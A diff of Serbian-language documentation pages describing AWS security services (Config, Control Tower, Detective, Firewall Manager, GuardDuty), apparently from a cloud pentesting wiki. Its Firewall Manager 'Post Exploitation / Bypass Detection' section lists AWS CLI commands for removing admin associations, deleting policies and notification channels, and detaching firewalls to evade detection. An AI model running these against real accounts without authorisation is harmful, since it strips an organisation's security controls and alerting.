- **Trenutna konfiguracija:** Ovo će prikazati iste informacije koje bi bile generisane ako biste izvršili opis ili listu API poziva napravljenih od strane AWS CLI. AWS Config koristi iste API pozive da dobije iste informacije.
- **Povezani događaji**: Ovo se odnosi na AWS CloudTrail. Ovo će prikazati **AWS CloudTrail ID događaja koji je povezan sa promenom koja je pokrenula kreiranje ovog CI**. Postoji novi CI napravljen za svaku promenu izvršenu na resursu. Kao rezultat, različiti CloudTrail ID događaja će biti kreirani.
- **Povezani događaji**: Ovo se odnosi na AWS CloudTrail. Ovo će prikazati **AWS CloudTrail ID događaja koji je povezan sa promenom koja je pokrenula kreiranje ovog CI**. Novi CI se pravi za svaku promenu izvršenu na resursu. Kao rezultat, biće kreirani različiti CloudTrail ID događaja.
**Istorija konfiguracije**: Moguće je dobiti istoriju konfiguracije resursa zahvaljujući konfiguracijskim elementima. Istorija konfiguracije se isporučuje svake 6 sati i sadrži sve CI za određeni tip resursa.
**Istorija konfiguracije**: Moguće je dobiti istoriju konfiguracije resursa zahvaljujući konfiguracijskim elementima. Istorija konfiguracije se isporučuje svake 6 sati i sadrži sve CI-e za određeni tip resursa.
**Konfiguracijski tokovi**: Konfiguracijski elementi se šalju na SNS temu kako bi omogućili analizu podataka.
@@ -38,7 +38,7 @@ Config pravila su odličan način da vam pomognu da **sprovodite specifične pro
AWS ima niz **predefinisanih pravila** koja spadaju pod sigurnosni kišobran i spremna su za korišćenje. Na primer, Rds-storage-encrypted. Ovo proverava da li je enkripcija skladišta aktivirana od strane vaših RDS baza podataka. Encrypted-volumes. Ovo proverava da li su svi EBS volumeni koji imaju stanje povezano enkriptovani.
- **AWS upravljana pravila**: Skup predefinisanih pravila koja pokrivaju mnogo najboljih praksi, tako da uvek vredi prvo pregledati ova pravila pre nego što postavite svoja, jer postoji šansa da pravilo već postoji.
- **Prilagođena pravila**: Možete kreirati svoja pravila za proveru specifičnih prilagođenih konfiguracija.
- **Prilagođena pravila**: Možete kreirati svoja pravila da proverite specifične prilagođene konfiguracije.
Limit od 50 config pravila po regionu pre nego što morate kontaktirati AWS za povećanje.\
Neusaglašeni rezultati se NE brišu.
@@ -9,7 +9,7 @@
AWS Control Tower je **usluga koju pruža Amazon Web Services (AWS)** koja omogućava organizacijama da postave i upravljaju sigurnim, usklađenim, višekratnim okruženjem u AWS-u.
AWS Control Tower pruža **predefinisani set najboljih praksi** koji se može prilagoditi specifičnim **organizacijskim zahtevima**. Ove prakse uključuju unapred konfigurisane AWS usluge i funkcije, kao što su AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog.
AWS Control Tower pruža **predefinisani set najboljih praksi** koji se može prilagoditi specifičnim **organizacijskim zahtevima**. Ovi planovi uključuju unapred konfigurisane AWS usluge i funkcije, kao što su AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail i AWS Service Catalog.
Sa AWS Control Tower-om, administratori mogu brzo postaviti **višekratno okruženje koje ispunjava organizacione zahteve**, kao što su **bezbednost** i usklađenost. Usluga pruža centralnu kontrolnu tablu za pregled i upravljanje nalozima i resursima, a takođe automatizuje dodeljivanje naloga, usluga i politika.
@@ -19,7 +19,7 @@ Sve u svemu, AWS Control Tower pojednostavljuje proces postavljanja i upravljanj
### Enumeration
Za enumeraciju kontrola controltower-a, prvo morate **da ste enumerisali organizaciju**:
Za enumeraciju kontrola controltower-a, prvo morate **enumerisati organizaciju**:
{{#ref}}
../aws-organizations-enum.md
@@ -4,8 +4,8 @@
## Cost Explorer i detekcija anomalija
Ovo vam omogućava da proverite **kako trošite novac na AWS usluge** i pomaže vam u **detekciji anomalija**.\
Pored toga, možete konfigurisati detekciju anomalija tako da vas AWS upozori kada se pronađe neka **anomalija u troškovima**.
Ovo vam omogućava da proverite **kako trošite novac na AWS uslugama** i pomaže vam u **detekciji anomalija**.\
Pored toga, možete konfigurisati detekciju anomalija tako da vas AWS upozori kada se **pronađe anomalija u troškovima**.
### Budžeti
@@ -4,9 +4,9 @@
## Detective
**Amazon Detective** pojednostavljuje proces istraživanja bezbednosti, čineći ga efikasnijim za **analizu, istraživanje i identifikaciju uzroka** bezbednosnih problema ili neobičnih aktivnosti. Automatski prikuplja podatke o logovima iz AWS resursa i koristi **mašinsko učenje, statističku analizu i teoriju grafova** za izgradnju međusobno povezanog skupa podataka. Ova postavka značajno poboljšava brzinu i efikasnost istraživanja bezbednosti.
**Amazon Detective** pojednostavljuje proces bezbednosne istrage, čineći ga efikasnijim za **analizu, istraživanje i identifikaciju uzroka** bezbednosnih problema ili neobičnih aktivnosti. Automatski prikuplja log podatke iz AWS resursa i koristi **mašinsko učenje, statističku analizu i teoriju grafova** za izgradnju međusobno povezanog skupa podataka. Ova postavka značajno poboljšava brzinu i efikasnost bezbednosnih istraga.
Usluga olakšava dubinsko istraživanje bezbednosnih incidenata, omogućavajući timovima za bezbednost da brzo razumeju i reše osnovne uzroke problema. Amazon Detective analizira ogromne količine podataka iz izvora kao što su VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatski generiše **sveobuhvatan, interaktivan prikaz resursa, korisnika i njihovih interakcija tokom vremena**. Ova integrisana perspektiva pruža sve potrebne detalje i kontekst na jednom mestu, omogućavajući timovima da razjasne razloge iza bezbednosnih nalaza, ispituju relevantne istorijske aktivnosti i brzo utvrde uzrok.
Usluga olakšava dubinsko istraživanje bezbednosnih incidenata, omogućavajući bezbednosnim timovima da brzo razumeju i reše osnovne uzroke problema. Amazon Detective analizira ogromne količine podataka iz izvora kao što su VPC Flow Logs, AWS CloudTrail i Amazon GuardDuty. Automatski generiše **sveobuhvatan, interaktivan pregled resursa, korisnika i njihovih interakcija tokom vremena**. Ova integrisana perspektiva pruža sve potrebne detalje i kontekst na jednom mestu, omogućavajući timovima da razjasne razloge iza bezbednosnih nalaza, ispituju relevantne istorijske aktivnosti i brzo utvrde uzrok.
## References
@@ -8,7 +8,7 @@
Usluga nudi mogućnost da **grupisete i zaštitite specifične resurse zajedno**, kao što su oni koji dele zajedničku oznaku ili sve vaše CloudFront distribucije. Značajna prednost Firewall Manager-a je njegova sposobnost da **automatski proširi zaštitu na novododate resurse** u vašem nalogu.
**Grupa pravila** (kolekcija WAF pravila) može biti uključena u AWS Firewall Manager politiku, koja je zatim povezana sa specifičnim AWS resursima kao što su CloudFront distribucije ili aplikacijski balansatori opterećenja.
**Grupa pravila** (kolekcija WAF pravila) može biti uključena u AWS Firewall Manager politiku, koja se zatim povezuje sa specifičnim AWS resursima kao što su CloudFront distribucije ili aplikacijski balansatori opterećenja.
AWS Firewall Manager pruža **upravljane liste aplikacija i protokola** kako bi pojednostavio konfiguraciju i upravljanje politikama sigurnosnih grupa. Ove liste vam omogućavaju da definišete protokole i aplikacije koje su dozvoljene ili zabranjene vašim politikama. Postoje dve vrste upravljanih lista:
@@ -19,54 +19,54 @@ Važno je napomenuti da **Firewall Manager politike dozvoljavaju samo "Block" il
### Prerequisites
Sledeći preduslovi moraju biti ispunjeni pre nego što nastavite sa konfigurisanjem Firewall Manager-a kako biste efikasno zaštitili resurse vaše organizacije. Ovi koraci pružaju osnovnu postavku potrebnu za Firewall Manager da sprovodi sigurnosne politike i osigura usklađenost širom vašeg AWS okruženja:
Sledeći koraci preduslova moraju biti završeni pre nego što nastavite sa konfiguracijom Firewall Manager-a kako biste efikasno zaštitili resurse vaše organizacije. Ovi koraci pružaju osnovnu postavku potrebnu za Firewall Manager da sprovodi sigurnosne politike i osigura usklađenost širom vašeg AWS okruženja:
1. **Pridružite se i konfigurišite AWS Organizations:** Osigurajte da je vaš AWS nalog deo AWS Organizations organizacije u kojoj su planirane AWS Firewall Manager politike. Ovo omogućava centralizovano upravljanje resursima i politikama širom više AWS naloga unutar organizacije.
2. **Kreirajte AWS Firewall Manager Default Administrator Account:** Uspostavite podrazumevani administratorski nalog posebno za upravljanje Firewall Manager sigurnosnim politikama. Ovaj nalog će biti odgovoran za konfiguraciju i sprovođenje sigurnosnih politika širom organizacije. Samo upravljački nalog organizacije može kreirati podrazumevane administratorske naloge Firewall Manager-a.
3. **Omogućite AWS Config:** Aktivirajte AWS Config kako biste Firewall Manager-u pružili potrebne podatke o konfiguraciji i uvide potrebne za efikasno sprovođenje sigurnosnih politika. AWS Config pomaže u analizi, reviziji, praćenju i reviziji konfiguracija resursa i promena, olakšavajući bolje upravljanje sigurnošću.
3. **Omogućite AWS Config:** Aktivirajte AWS Config kako biste obezbedili Firewall Manager-u potrebne podatke o konfiguraciji i uvide potrebne za efikasno sprovođenje sigurnosnih politika. AWS Config pomaže u analizi, reviziji, praćenju i reviziji konfiguracija resursa i promena, olakšavajući bolje upravljanje sigurnošću.
4. **Za politike trećih strana, pretplatite se u AWS Marketplace i konfigurišite postavke trećih strana:** Ako planirate da koristite politike vatrozida trećih strana, pretplatite se na njih u AWS Marketplace-u i konfigurišite potrebne postavke. Ovaj korak osigurava da Firewall Manager može integrisati i sprovoditi politike od pouzdanih dobavljača trećih strana.
5. **Za politike mrežnog vatrozida i DNS vatrozida, omogućite deljenje resursa:** Omogućite deljenje resursa posebno za politike mrežnog vatrozida i DNS vatrozida. Ovo omogućava Firewall Manager-u da primeni zaštitu vatrozida na VPC-ove vaše organizacije i DNS rezoluciju, poboljšavajući mrežnu sigurnost.
5. **Za politike mrežnog vatrozida i DNS vatrozida, omogućite deljenje resursa:** Omogućite deljenje resursa posebno za politike mrežnog vatrozida i DNS vatrozida. Ovo omogućava Firewall Manager-u da primeni zaštitu vatrozida na VPC-ove i DNS rezoluciju vaše organizacije, poboljšavajući mrežnu sigurnost.
6. **Da biste koristili AWS Firewall Manager u regionima koji su podrazumevano onemogućeni:** Ako nameravate da koristite Firewall Manager u AWS regionima koji su podrazumevano onemogućeni, osigurajte da preduzmete potrebne korake da omogućite njegovu funkcionalnost u tim regionima. Ovo osigurava dosledno sprovođenje sigurnosti širom svih regiona u kojima vaša organizacija posluje.
Za više informacija, pogledajte: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
Za više informacija, proverite: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html).
### Types of protection policies
AWS Firewall Manager upravlja nekoliko vrsta politika za sprovođenje sigurnosnih kontrola širom različitih aspekata infrastrukture vaše organizacije:
1. **AWS WAF Policy:** Ova vrsta politike podržava i AWS WAF i AWS WAF Classic. Možete definisati koji resursi su zaštićeni politikom. Za AWS WAF politike, možete odrediti skupove grupa pravila koje će se izvršiti prvo i poslednje u web ACL-u. Pored toga, vlasnici naloga mogu dodavati pravila i grupe pravila koja će se izvršiti između ovih skupova.
2. **Shield Advanced Policy:** Ova politika primenjuje Shield Advanced zaštite širom vaše organizacije za određene tipove resursa. Pomaže u zaštiti od DDoS napada i drugih pretnji.
3. **Amazon VPC Security Group Policy:** Sa ovom politikom, možete upravljati sigurnosnim grupama koje se koriste širom vaše organizacije, sprovodeći osnovni skup pravila širom vašeg AWS okruženja kako biste kontrolisali mrežni pristup.
4. **Amazon VPC Network Access Control List (ACL) Policy:** Ova vrsta politike daje vam kontrolu nad mrežnim ACL-ima koji se koriste u vašoj organizaciji, omogućavajući vam da sprovodite osnovni skup mrežnih ACL-a širom vašeg AWS okruženja.
1. **AWS WAF Policy:** Ova vrsta politike podržava i AWS WAF i AWS WAF Classic. Možete definisati koji resursi su zaštićeni politikom. Za AWS WAF politike, možete odrediti skupove grupa pravila koje će se izvršavati prve i poslednje u web ACL-u. Pored toga, vlasnici naloga mogu dodavati pravila i grupe pravila koja će se izvršavati između ovih skupova.
2. **Shield Advanced Policy:** Ova politika primenjuje Shield Advanced zaštite širom vaše organizacije za specificirane tipove resursa. Pomaže u zaštiti od DDoS napada i drugih pretnji.
3. **Amazon VPC Security Group Policy:** Sa ovom politikom, možete upravljati sigurnosnim grupama koje se koriste širom vaše organizacije, sprovodeći osnovni set pravila širom vašeg AWS okruženja kako biste kontrolisali mrežni pristup.
4. **Amazon VPC Network Access Control List (ACL) Policy:** Ova vrsta politike daje vam kontrolu nad mrežnim ACL-ima koji se koriste u vašoj organizaciji, omogućavajući vam da sprovodite osnovni set mrežnih ACL-a širom vašeg AWS okruženja.
5. **Network Firewall Policy:** Ova politika primenjuje AWS Network Firewall zaštitu na VPC-ove vaše organizacije, poboljšavajući mrežnu sigurnost filtriranjem saobraćaja na osnovu unapred definisanih pravila.
6. **Amazon Route 53 Resolver DNS Firewall Policy:** Ova politika primenjuje DNS Firewall zaštite na VPC-ove vaše organizacije, pomažući u blokiranju pokušaja zlonamerne rezolucije domena i sprovođenju sigurnosnih politika za DNS saobraćaj.
7. **Third-Party Firewall Policy:** Ova vrsta politike primenjuje zaštite od vatrozida trećih strana, koje su dostupne putem pretplate kroz AWS Marketplace konzolu. Omogućava vam da integrišete dodatne sigurnosne mere od pouzdanih dobavljača u vaše AWS okruženje.
1. **Palo Alto Networks Cloud NGFW Policy:** Ova politika primenjuje zaštite i pravila Palo Alto Networks Cloud Next Generation Firewall (NGFW) na VPC-ove vaše organizacije, pružajući naprednu prevenciju pretnji i kontrole sigurnosti na nivou aplikacija.
2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Ova politika primenjuje zaštite Fortigate Cloud Native Firewall (CNF) kao uslugu, nudeći vodeću prevenciju pretnji, web aplikacijski vatrozid (WAF) i zaštitu API-ja prilagođenu za cloud infrastrukture.
2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** Ova politika primenjuje zaštite Fortigate Cloud Native Firewall (CNF) kao uslugu, nudeći vodeću prevenciju pretnji, vatrozid za web aplikacije (WAF) i zaštitu API-ja prilagođenu za cloud infrastrukture.
### Administrator accounts
AWS Firewall Manager nudi fleksibilnost u upravljanju resursima vatrozida unutar vaše organizacije kroz svoj administrativni opseg i dva tipa administratorskih naloga.
**Administrativni opseg definiše resurse kojima administrator Firewall Manager-a može upravljati**. Nakon što AWS Organizations upravljački nalog onboard-uje organizaciju u Firewall Manager, može kreirati dodatne administratore sa različitim administrativnim opsezima. Ovi opsezi mogu uključivati:
**Administrativni opseg definiše resurse kojima administrator Firewall Manager-a može upravljati**. Nakon što AWS Organizations upravljački nalog uključi organizaciju u Firewall Manager, može kreirati dodatne administratore sa različitim administrativnim opsezima. Ovi opsezi mogu uključivati:
- Nalozi ili organizacione jedinice (OU) na koje administrator može primeniti politike.
- Regioni u kojima administrator može izvršavati akcije.
- Tipovi politika Firewall Manager-a kojima administrator može upravljati.
Administrativni opseg može biti **potpun ili ograničen**. Potpuni opseg daje administratoru pristup **svim navedenim tipovima resursa, regionima i tipovima politika**. Nasuprot tome, **ograničeni opseg pruža administrativna prava samo na podskup resursa, regiona ili tipova politika**. Preporučuje se da se administratorima dodele samo prava koja su im potrebna da efikasno obavljaju svoje uloge. Možete primeniti bilo koju kombinaciju ovih uslova administrativnog opsega na administratora, osiguravajući pridržavanje principa minimalnih privilegija.
Administrativni opseg može biti **potpun ili ograničen**. Potpuni opseg daje administratoru pristup **svim specificiranim tipovima resursa, regionima i tipovima politika**. Nasuprot tome, **ograničeni opseg pruža administrativna prava samo na podskup resursa, regiona ili tipova politika**. Preporučuje se da se administratorima dodele samo prava koja su im potrebna da efikasno obavljaju svoje uloge. Možete primeniti bilo koju kombinaciju ovih uslova administrativnog opsega na administratora, osiguravajući pridržavanje principa minimalnih privilegija.
Postoje dva različita tipa administratorskih naloga, svaki sa specifičnim ulogama i odgovornostima:
- **Podrazumevani administrator:**
- Podrazumevani administratorski nalog kreira upravljački nalog AWS Organizations organizacije tokom onboardinga u Firewall Manager.
- **Default Administrator:**
- Podrazumevani administratorski nalog kreira upravljački nalog AWS Organizations organizacije tokom procesa uključivanja u Firewall Manager.
- Ovaj nalog ima sposobnost da upravlja vatrozidima trećih strana i poseduje potpuni administrativni opseg.
- Služi kao primarni administratorski nalog za Firewall Manager, odgovoran za konfiguraciju i sprovođenje sigurnosnih politika širom organizacije.
- Dok podrazumevani administrator ima potpuni pristup svim tipovima resursa i administrativnim funkcionalnostima, deluje na istom nivou kao i drugi administratori ako se više administratora koristi unutar organizacije.
- **Administratori Firewall Manager-a:**
- **Firewall Manager Administrators:**
- Ovi administratori mogu upravljati resursima unutar opsega koji je odredio upravljački nalog AWS Organizations, kako je definisano konfiguracijom administrativnog opsega.
- Administratori Firewall Manager-a se kreiraju da ispune specifične uloge unutar organizacije, omogućavajući delegaciju odgovornosti dok se održavaju standardi sigurnosti i usklađenosti.
- Prilikom kreiranja, Firewall Manager proverava sa AWS Organizations da li je nalog već delegirani administrator. Ako nije, Firewall Manager poziva Organizations da odredi nalog kao delegiranog administratora za Firewall Manager.
- Administratori Firewall Manager-a se kreiraju kako bi ispunili specifične uloge unutar organizacije, omogućavajući delegaciju odgovornosti dok se održavaju standardi sigurnosti i usklađenosti.
- Nakon kreiranja, Firewall Manager proverava sa AWS Organizations da li je nalog već delegirani administrator. Ako nije, Firewall Manager poziva Organizations da odredi nalog kao delegiranog administratora za Firewall Manager.
Upravljanje ovim administratorskim nalozima uključuje njihovo kreiranje unutar Firewall Manager-a i definisanje njihovih administrativnih opsega prema sigurnosnim zahtevima organizacije i principu minimalnih privilegija. Dodeljivanjem odgovarajućih administrativnih uloga, organizacije mogu osigurati efikasno upravljanje sigurnošću dok održavaju granularnu kontrolu nad pristupom osetljivim resursima.
@@ -161,13 +161,13 @@ aws fms get-third-party-firewall-association-status --third-party-firewall <PALO
## Get violations' details for a resource based on the specified AWS Firewall Manager policy and AWS account.
aws fms get-violation-details --policy-id <value> --member-account <value> --resource-id <value> --resource-type <value>
```
## Post Exploatacija / Obilaženje Detekcije
## Post Exploitation / Bypass Detection
### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`)
Napadač sa **`fms:AssociateAdminAccount`** dozvolom bi mogao da postavi podrazumevani administratorski nalog Firewall Manager-a. Sa **`fms:PutAdminAccount`** dozvolom, napadač bi mogao da kreira ili ažurira administratorski nalog Firewall Manager-a, a sa **`fms:DisassociateAdminAccount`** dozvolom, potencijalni napadač bi mogao da ukloni trenutnu asocijaciju administratorskog naloga Firewall Manager-a.
- Uklanjanje asocijacije **podrazumevanog administratora Firewall Manager-a prati politiku prvi unutra, poslednji napolje**. Svi administratori Firewall Manager-a moraju da se odjave pre nego što podrazumevani administrator Firewall Manager-a može da ukloni nalog.
- Uklanjanje asocijacije **podrazumevanog administratora Firewall Manager-a prati politiku prvi unutra, poslednji napolje**. Svi administratori Firewall Manager-a moraju da se uklone pre nego što podrazumevani administrator Firewall Manager-a može da ukloni nalog.
- Da bi se kreirao administrator Firewall Manager-a putem **PutAdminAccount**, nalog mora pripadati organizaciji koja je prethodno onboardovana na Firewall Manager koristeći **AssociateAdminAccount**.
- Kreiranje administratorskog naloga Firewall Manager-a može se izvršiti samo od strane upravljačkog naloga organizacije.
```bash
@@ -175,7 +175,7 @@ aws fms associate-admin-account --admin-account <value>
aws fms disassociate-admin-account
aws fms put-admin-account --admin-account <value>
```
**Potencijalni uticaj:** Gubitak centralizovanog upravljanja, izbegavanje politika, kršenje usklađenosti i prekid bezbednosnih kontrola unutar okruženja.
**Potencijalni uticaj:** Gubitak centralizovanog upravljanja, izbegavanje politika, kršenje usklađenosti i ometanje bezbednosnih kontrola unutar okruženja.
### `fms:PutPolicy`, `fms:DeletePolicy`
@@ -208,7 +208,7 @@ Primer permisivne politike kroz permisivnu sigurnosnu grupu, kako bi se zaobišl
"TagList": []
}
```
**Potencijalni uticaj:** Demontiranje bezbednosnih kontrola, izbegavanje politika, kršenja usklađenosti, operativne smetnje i potencijalni curenja podataka unutar okruženja.
**Potencijalni uticaj:** Demontiranje bezbednosnih kontrola, izbegavanje politika, kršenje usklađenosti, operativne smetnje i potencijalni curenja podataka unutar okruženja.
### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet`
@@ -222,7 +222,7 @@ aws fms batch-disassociate-resource --resource-set-identifier <value> --items <v
aws fms put-resource-set --resource-set <value> [--tag-list <value>]
aws fms delete-resource-set --identifier <value>
```
**Potencijalni Uticaj:** Dodavanje nepotrebne količine stavki u skup resursa povećaće nivo šuma u Servisu, potencijalno uzrokujući DoS. Pored toga, promene u skupovima resursa mogle bi dovesti do prekida resursa, izbegavanja politika, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja.
**Potencijalni uticaj:** Dodavanje nepotrebne količine stavki u skup resursa povećaće nivo buke u Servisu, potencijalno uzrokujući DoS. Pored toga, promene u skupovima resursa mogle bi dovesti do prekida resursa, izbegavanja politika, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja.
### `fms:PutAppsList`, `fms:DeleteAppsList`
@@ -235,7 +235,7 @@ aws fms delete-apps-list --list-id <value>
### `fms:PutProtocolsList`, `fms:DeleteProtocolsList`
Napadač sa **`fms:PutProtocolsList`** i **`fms:DeleteProtocolsList`** dozvolama mogao bi da kreira, menja ili briše liste protokola iz AWS Firewall Manager-a. Slično kao kod lista aplikacija, ovo bi moglo biti kritično jer bi neovlašćeni protokoli mogli biti korišćeni od strane šire javnosti, ili bi korišćenje ovlašćenih protokola moglo biti onemogućeno, uzrokujući DoS.
Napadač sa **`fms:PutProtocolsList`** i **`fms:DeleteProtocolsList`** dozvolama mogao bi da kreira, menja ili briše liste protokola iz AWS Firewall Manager-a. Slično kao sa listama aplikacija, ovo bi moglo biti kritično jer bi neovlašćeni protokoli mogli biti korišćeni od strane šire javnosti, ili bi korišćenje ovlašćenih protokola moglo biti onemogućeno, uzrokujući DoS.
```bash
aws fms put-protocols-list --apps-list <value> [--tag-list <value>]
aws fms delete-protocols-list --list-id <value>
@@ -246,7 +246,7 @@ aws fms delete-protocols-list --list-id <value>
Napadač sa **`fms:PutNotificationChannel`** i **`fms:DeleteNotificationChannel`** dozvolama mogao bi da obriše i odredi IAM ulogu i Amazon Simple Notification Service (SNS) temu koju Firewall Manager koristi za snimanje SNS logova.
Da biste koristili **`fms:PutNotificationChannel`** van konzole, potrebno je da postavite pristupnu politiku SNS teme, omogućavajući specificiranoj **SnsRoleName** da objavljuje SNS logove. Ako je navedena **SnsRoleName** uloga drugačija od **`AWSServiceRoleForFMS`**, zahteva poverenje koje je konfigurirano da dozvoli Firewall Manager servisnom principalu **fms.amazonaws.com** da preuzme ovu ulogu.
Da biste koristili **`fms:PutNotificationChannel`** van konzole, potrebno je da postavite pristupnu politiku SNS teme, omogućavajući specificiranoj **SnsRoleName** da objavljuje SNS logove. Ako je pružena **SnsRoleName** uloga drugačija od **`AWSServiceRoleForFMS`**, zahteva odnos poverenja konfigurisan da dozvoli Firewall Manager servisnom principalu **fms.amazonaws.com** da preuzme ovu ulogu.
Za informacije o konfigurisanju pristupne politike SNS:
@@ -257,19 +257,19 @@ Za informacije o konfigurisanju pristupne politike SNS:
aws fms put-notification-channel --sns-topic-arn <value> --sns-role-name <value>
aws fms delete-notification-channel
```
**Potencijalni Uticaj:** Ovo bi potencijalno moglo dovesti do propuštenih bezbednosnih upozorenja, kašnjenja u odgovoru na incidente, potencijalnih provala podataka i operativnih prekida unutar okruženja.
**Potencijalni uticaj:** Ovo bi potencijalno moglo dovesti do propuštanja sigurnosnih upozorenja, kašnjenja u odgovoru na incidente, potencijalnih curenja podataka i operativnih prekida unutar okruženja.
### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall`
Napadač sa **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** dozvolama bi mogao da poveže ili odvoji treće strane vatrozidove koji se upravljaju centralno putem AWS Firewall Manager-a.
Napadač sa **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** dozvolama bi mogao da poveže ili odvoji treće strane vatrozide od centralnog upravljanja putem AWS Firewall Manager-a.
> [!WARNING]
> Samo podrazumevani administrator može da kreira i upravlja vatrozidovima trećih strana.
> Samo podrazumevani administrator može da kreira i upravlja vatrozidima trećih strana.
```bash
aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL]
```
**Potencijalni Uticaj:** Disocijacija bi dovela do izbegavanja politike, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja. Asocijacija, s druge strane, bi dovela do prekida raspodele troškova i budžeta.
**Potencijalni uticaj:** Dezintegracija bi dovela do izbegavanja politike, kršenja usklađenosti i prekida bezbednosnih kontrola unutar okruženja. Asocijacija, s druge strane, bi dovela do prekida raspodele troškova i budžeta.
### `fms:TagResource`, `fms:UntagResource`
@@ -278,7 +278,7 @@ Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Firewall Manager-
aws fms tag-resource --resource-arn <value> --tag-list <value>
aws fms untag-resource --resource-arn <value> --tag-keys <value>
```
**Potencijalni Uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama.
## Reference
@@ -16,9 +16,9 @@ Upozorenja **se pojavljuju u GuardDuty konzoli (90 dana)** i CloudWatch događaj
### Primer Nalaza
- **Reconnaissance**: Aktivnost koja sugeriše izviđanje od strane napadača, kao što su **neobične API aktivnosti**, sumnjivi pokušaji **prijavljivanja** u bazu podataka, intra-VPC **skeniranje portova**, neobični obrasci neuspešnih zahteva za prijavljivanje, ili neblokirano ispitivanje portova sa poznate loše IP adrese.
- **Kompromitovanje instance**: Aktivnost koja ukazuje na kompromitovanje instance, kao što su **rudarenje kriptovaluta, backdoor komanda i kontrola (C\&C)**, zlonamerni softver koji koristi algoritme generisanja domena (DGA), aktivnost odbijanja usluge, neobično **visok** obim mrežnog saobraćaja, neobični mrežni protokoli, komunikacija instance sa poznatom zlonamernom IP adresom, privremene Amazon EC2 akreditive korišćene od strane spoljne IP adrese, i eksfiltracija podataka korišćenjem DNS-a.
- **Kompromitovanje naloga**: Uobičajeni obrasci koji ukazuju na kompromitovanje naloga uključuju API pozive iz neobične geolokacije ili anonimnog proksija, pokušaje onemogućavanja AWS CloudTrail logovanja, promene koje oslabljuju politiku lozinki naloga, neobične instance ili lansiranja infrastrukture, implementacije infrastrukture u neobičnoj regiji, krađu akreditiva, sumnjivu aktivnost prijavljivanja u bazu podataka, i API pozive sa poznatih zlonamernih IP adresa.
- **Reconnaissance**: Aktivnost koja sugeriše izviđanje od strane napadača, kao što su **neobične API aktivnosti**, sumnjivi pokušaji **prijave** na bazu podataka, intra-VPC **skeniranje portova**, neobični obrasci neuspešnih zahteva za prijavu, ili neblokirano ispitivanje portova sa poznate loše IP adrese.
- **Kompromitovanje instance**: Aktivnost koja ukazuje na kompromitovanje instance, kao što su **rudarenje kriptovaluta, backdoor komanda i kontrola (C\&C)**, zlonameran softver koji koristi algoritme generisanja domena (DGA), aktivnost odbijanja usluge, neobično **visok** obim mrežnog saobraćaja, neobični mrežni protokoli, komunikacija instance sa poznatom zlonamernom IP adresom, privremene Amazon EC2 akreditivi korišćeni od strane spoljne IP adrese, i eksfiltracija podataka korišćenjem DNS-a.
- **Kompromitovanje naloga**: Uobičajeni obrasci koji ukazuju na kompromitovanje naloga uključuju API pozive iz neobične geolokacije ili anonimnog proksija, pokušaje da se onemogući AWS CloudTrail logovanje, promene koje oslabljuju politiku lozinki naloga, neobične instance ili lansiranja infrastrukture, implementacije infrastrukture u neobičnoj regiji, krađu akreditiva, sumnjivu aktivnost prijave na bazu podataka, i API pozive sa poznatih zlonamernih IP adresa.
- **Kompromitovanje bucket-a**: Aktivnost koja ukazuje na kompromitovanje bucket-a, kao što su sumnjivi obrasci pristupa podacima koji ukazuju na zloupotrebu akreditiva, neobične Amazon S3 API aktivnosti sa udaljenog hosta, neovlašćen pristup S3-u sa poznatih zlonamernih IP adresa, i API pozivi za preuzimanje podataka iz S3 bucket-a od korisnika bez prethodne istorije pristupa bucket-u ili pokrenutih iz neobične lokacije. Amazon GuardDuty kontinuirano prati i analizira AWS CloudTrail S3 događaje (npr. GetObject, ListObjects, DeleteObject) kako bi otkrio sumnjivu aktivnost širom svih vaših Amazon S3 bucket-a.
<details>
@@ -50,15 +50,15 @@ Pristupite listi svih GuardDuty nalaza na: [https://docs.aws.amazon.com/guarddut
### Više Naloga
#### Po Pozivnici
#### Po Pozivu
Možete **pozvati druge naloge** u različit AWS GuardDuty nalog tako da **svaki nalog bude praćen iz iste GuardDuty**. Glavni nalog mora pozvati članove naloga, a zatim predstavnik članskog naloga mora prihvatiti pozivnicu.
Možete **pozvati druge naloge** u različit AWS GuardDuty nalog tako da **svaki nalog bude praćen iz istog GuardDuty**. Glavni nalog mora pozvati članove naloga, a zatim predstavnik članskog naloga mora prihvatiti poziv.
#### Putem Organizacije
Možete odrediti bilo koji nalog unutar organizacije da bude **delegirani administrator GuardDuty**. Samo nalog za upravljanje organizacijom može odrediti delegiranog administratora.
Nalog koji se odredi kao delegirani administrator postaje nalog administratora GuardDuty, automatski ima omogućenu GuardDuty u određenoj AWS regiji, i takođe ima **dozvolu da omogući i upravlja GuardDuty za sve naloge u organizaciji unutar te regije**. Ostali nalozi u organizaciji mogu se pregledati i dodati kao članovi GuardDuty povezani sa ovim delegiranim administratorskim nalogom.
